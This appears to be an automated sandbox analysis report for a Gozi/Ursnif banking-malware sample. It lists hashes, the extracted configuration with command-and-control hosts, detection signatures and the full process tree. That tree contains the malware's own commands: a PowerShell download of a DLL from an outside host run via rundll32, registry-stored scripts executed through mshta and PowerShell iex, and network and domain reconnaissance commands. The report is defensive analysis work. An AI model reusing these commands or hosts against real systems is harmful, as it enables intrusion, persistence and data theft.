Analysis
- max time kernel
151s - max time network
144s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
06/01/2022, 10:54
Static task
static1
Behavioral task
behavioral1
Sample
9095.exe
Resource
win7-en-20211208
General
- Target 9095.exe
- Size 152KB
- Sample220106-mzj71abeem
- SHA256 d4e5ea6e804aee0817c61b11e1ed009f649ff37d30bafa7056bf82d45e83f44d
- MD5 57054d13b876e70a99b6b9510568ed3e
- SHA1 1fe09821917e0d6d07b233e7264bdc235dc2f52b
- SHA512 f73c8d9063dac80871c99343f9b8586f77ca64ea9aa0ca5f14078f7e56d9c24f52577d6ae6f04dfecc1ad580395bfb2e789eb8ee4ca8059b3022048a77137257
- MD5 SHA1 SHA512
Malware Config
Extracted
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gozi_ifsb
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9095
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http://google.mail.com
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http://392184281.com
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http://592182812.com
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https://392184281.com
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https://592182812.com
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base_path
/glik/
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build
250218
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dga_season
10
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exe_type
loader
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extension
.lwe
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server_id
12
Extracted
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gozi_ifsb
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9095
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http://google.login.com
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https://194.67.90.217
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https://134.0.118.44
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https://134.0.119.89
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http://194.67.90.217
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http://134.0.118.44
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http://134.0.119.89
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iudsahbnmddsa.com
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siadujhdnmasg.com
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idsaujhdndkwq.com
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base_path
/images/
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build
250218
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dga_season
10
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dns_servers
107.174.86.134
107.175.127.22
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exe_type
worker
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extension
.avi
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server_id
12
Signatures
- suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B)
- suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
- Blocklisted process makes network request 5 IoCs
flow pid Process 9 4144 powershell.exe 33 764 rundll32.exe 34 764 rundll32.exe 35 764 rundll32.exe 36 764 rundll32.exe - Downloads MZ/PE file
- Loads dropped DLL 1 IoCs
pid Process 764 rundll32.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce 9095.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 9095.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 3732 set thread context of 1640 3732 powershell.exe 37 PID 1640 set thread context of 3496 1640 Explorer.EXE 47 PID 1640 set thread context of 5020 1640 Explorer.EXE 86 PID 5020 set thread context of 412 5020 cmd.exe 87 PID 1640 set thread context of 4532 1640 Explorer.EXE 94 PID 1640 set thread context of 2076 1640 Explorer.EXE 98 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Discovers systems in the same network 1 TTPs 3 IoCs
pid Process 4720 net.exe 2756 net.exe 4928 net.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1672 tasklist.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1588 systeminfo.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 412 PING.EXE - Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 412 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4144 powershell.exe 4144 powershell.exe 4144 powershell.exe 764 rundll32.exe 764 rundll32.exe 3732 powershell.exe 3732 powershell.exe 3732 powershell.exe 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE 1640 Explorer.EXE - Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 3732 powershell.exe 1640 Explorer.EXE 1640 Explorer.EXE 5020 cmd.exe 1640 Explorer.EXE 1640 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4144 powershell.exe Token: SeDebugPrivilege 3732 powershell.exe Token: SeShutdownPrivilege 1640 Explorer.EXE Token: SeCreatePagefilePrivilege 1640 Explorer.EXE Token: SeShutdownPrivilege 1640 Explorer.EXE Token: SeCreatePagefilePrivilege 1640 Explorer.EXE Token: SeShutdownPrivilege 1640 Explorer.EXE Token: SeCreatePagefilePrivilege 1640 Explorer.EXE Token: SeShutdownPrivilege 1640 Explorer.EXE Token: SeCreatePagefilePrivilege 1640 Explorer.EXE Token: SeShutdownPrivilege 1640 Explorer.EXE Token: SeCreatePagefilePrivilege 1640 Explorer.EXE Token: SeDebugPrivilege 1672 tasklist.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1640 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3336 wrote to memory of 3524 3336 9095.exe 68 PID 3336 wrote to memory of 3524 3336 9095.exe 68 PID 3524 wrote to memory of 4144 3524 cmd.exe 70 PID 3524 wrote to memory of 4144 3524 cmd.exe 70 PID 3524 wrote to memory of 4176 3524 cmd.exe 71 PID 3524 wrote to memory of 4176 3524 cmd.exe 71 PID 4176 wrote to memory of 764 4176 rundll32.exe 72 PID 4176 wrote to memory of 764 4176 rundll32.exe 72 PID 4176 wrote to memory of 764 4176 rundll32.exe 72 PID 2484 wrote to memory of 3732 2484 mshta.exe 79 PID 2484 wrote to memory of 3732 2484 mshta.exe 79 PID 3732 wrote to memory of 2312 3732 powershell.exe 81 PID 3732 wrote to memory of 2312 3732 powershell.exe 81 PID 2312 wrote to memory of 3080 2312 csc.exe 82 PID 2312 wrote to memory of 3080 2312 csc.exe 82 PID 3732 wrote to memory of 4852 3732 powershell.exe 83 PID 3732 wrote to memory of 4852 3732 powershell.exe 83 PID 4852 wrote to memory of 4600 4852 csc.exe 84 PID 4852 wrote to memory of 4600 4852 csc.exe 84 PID 3732 wrote to memory of 1640 3732 powershell.exe 37 PID 3732 wrote to memory of 1640 3732 powershell.exe 37 PID 3732 wrote to memory of 1640 3732 powershell.exe 37 PID 3732 wrote to memory of 1640 3732 powershell.exe 37 PID 1640 wrote to memory of 3496 1640 Explorer.EXE 47 PID 1640 wrote to memory of 3496 1640 Explorer.EXE 47 PID 1640 wrote to memory of 3496 1640 Explorer.EXE 47 PID 1640 wrote to memory of 3496 1640 Explorer.EXE 47 PID 1640 wrote to memory of 5020 1640 Explorer.EXE 86 PID 1640 wrote to memory of 5020 1640 Explorer.EXE 86 PID 1640 wrote to memory of 5020 1640 Explorer.EXE 86 PID 1640 wrote to memory of 5020 1640 Explorer.EXE 86 PID 1640 wrote to memory of 5020 1640 Explorer.EXE 86 PID 5020 wrote to memory of 412 5020 cmd.exe 87 PID 5020 wrote to memory of 412 5020 cmd.exe 87 PID 5020 wrote to memory of 412 5020 cmd.exe 87 PID 5020 wrote to memory of 412 5020 cmd.exe 87 PID 5020 wrote to memory of 412 5020 cmd.exe 87 PID 1640 wrote to memory of 4660 1640 Explorer.EXE 88 PID 1640 wrote to memory of 4660 1640 Explorer.EXE 88 PID 4660 wrote to memory of 852 4660 cmd.exe 90 PID 4660 wrote to memory of 852 4660 cmd.exe 90 PID 1640 wrote to memory of 640 1640 Explorer.EXE 91 PID 1640 wrote to memory of 640 1640 Explorer.EXE 91 PID 1640 wrote to memory of 2776 1640 Explorer.EXE 93 PID 1640 wrote to memory of 2776 1640 Explorer.EXE 93 PID 1640 wrote to memory of 4532 1640 Explorer.EXE 94 PID 1640 wrote to memory of 4532 1640 Explorer.EXE 94 PID 1640 wrote to memory of 4532 1640 Explorer.EXE 94 PID 2776 wrote to memory of 1588 2776 cmd.exe 96 PID 2776 wrote to memory of 1588 2776 cmd.exe 96 PID 1640 wrote to memory of 4532 1640 Explorer.EXE 94 PID 1640 wrote to memory of 4532 1640 Explorer.EXE 94 PID 1640 wrote to memory of 2076 1640 Explorer.EXE 98 PID 1640 wrote to memory of 2076 1640 Explorer.EXE 98 PID 1640 wrote to memory of 2076 1640 Explorer.EXE 98 PID 1640 wrote to memory of 2076 1640 Explorer.EXE 98 PID 1640 wrote to memory of 2076 1640 Explorer.EXE 98 PID 1640 wrote to memory of 2076 1640 Explorer.EXE 98 PID 1640 wrote to memory of 4400 1640 Explorer.EXE 100 PID 1640 wrote to memory of 4400 1640 Explorer.EXE 100 PID 1640 wrote to memory of 3780 1640 Explorer.EXE 102 PID 1640 wrote to memory of 3780 1640 Explorer.EXE 102 PID 3780 wrote to memory of 4928 3780 cmd.exe 104 PID 3780 wrote to memory of 4928 3780 cmd.exe 104
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Users\Admin\AppData\Local\Temp\9095.exe"C:\Users\Admin\AppData\Local\Temp\9095.exe"2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Windows\SYSTEM32\cmd.execmd /c test5.bat3⤵
- Suspicious use of WriteProcessMemory
PID:3524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://teamworks455.com/_country/9095.dll -OutFile 9095.dll4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4144
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C:\Windows\system32\rundll32.exerundll32.exe 9095.dll DllRegisterServer4⤵
- Suspicious use of WriteProcessMemory
PID:4176 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe 9095.dll DllRegisterServer5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:764
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C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ianm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ianm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\AFB12D6D-42B3-B959-C453-96FD38372A81\\\ReturnBook'));if(!window.flag)close()</script>"2⤵
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\AFB12D6D-42B3-B959-C453-96FD38372A81").PageTest))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fjilir0s\fjilir0s.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES837F.tmp" "c:\Users\Admin\AppData\Local\Temp\fjilir0s\CSC2827C88EF2734BB4933EA725F53DB94A.TMP"5⤵PID:3080
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agybjb3s\agybjb3s.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8489.tmp" "c:\Users\Admin\AppData\Local\Temp\agybjb3s\CSC17DC953941E44818B870EDAE71C41A57.TMP"5⤵PID:4600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Roaming\9095.dll"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:412
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C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\9C60.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:4660 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:852
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\9C60.bi1"2⤵PID:640
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C:\Windows\system32\cmd.execmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\systeminfo.exesysteminfo.exe3⤵
- Gathers system information
PID:1588
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C:\Program Files\Windows Mail\WinMail.exe"C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE2⤵PID:4532
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C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:2076
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:4400
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C:\Windows\system32\cmd.execmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\system32\net.exenet view3⤵
- Discovers systems in the same network
PID:4928
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:1612
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C:\Windows\system32\cmd.execmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:1384
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C:\Windows\system32\nslookup.exenslookup 127.0.0.13⤵PID:2552
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:3472
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C:\Windows\system32\cmd.execmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:1652
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C:\Windows\system32\tasklist.exetasklist.exe /SVC3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1672
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:4952
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C:\Windows\system32\cmd.execmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:3384
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C:\Windows\system32\driverquery.exedriverquery.exe3⤵PID:3464
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:364
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C:\Windows\system32\cmd.execmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:4204
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C:\Windows\system32\reg.exereg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s3⤵PID:3116
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:4112
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C:\Windows\system32\cmd.execmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:4208
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C:\Windows\system32\net.exenet config workstation3⤵PID:4404
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 config workstation4⤵PID:4240
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:3684
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C:\Windows\system32\cmd.execmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:820
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C:\Windows\system32\nltest.exenltest /domain_trusts3⤵PID:3584
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:3140
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C:\Windows\system32\cmd.execmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:1232
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C:\Windows\system32\nltest.exenltest /domain_trusts /all_trusts3⤵PID:1712
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:1520
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C:\Windows\system32\cmd.execmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:1508
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C:\Windows\system32\net.exenet view /all /domain3⤵
- Discovers systems in the same network
PID:4720
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:2184
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C:\Windows\system32\cmd.execmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:3868
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C:\Windows\system32\net.exenet view /all3⤵
- Discovers systems in the same network
PID:2756
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C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:2480
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C:\Windows\system32\cmd.execmd /U /C "type C:\Users\Admin\AppData\Local\Temp\2013.bin1 > C:\Users\Admin\AppData\Local\Temp\2013.bin & del C:\Users\Admin\AppData\Local\Temp\2013.bin1"2⤵PID:4808
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C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\8E1C.bin"2⤵PID:4688
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3496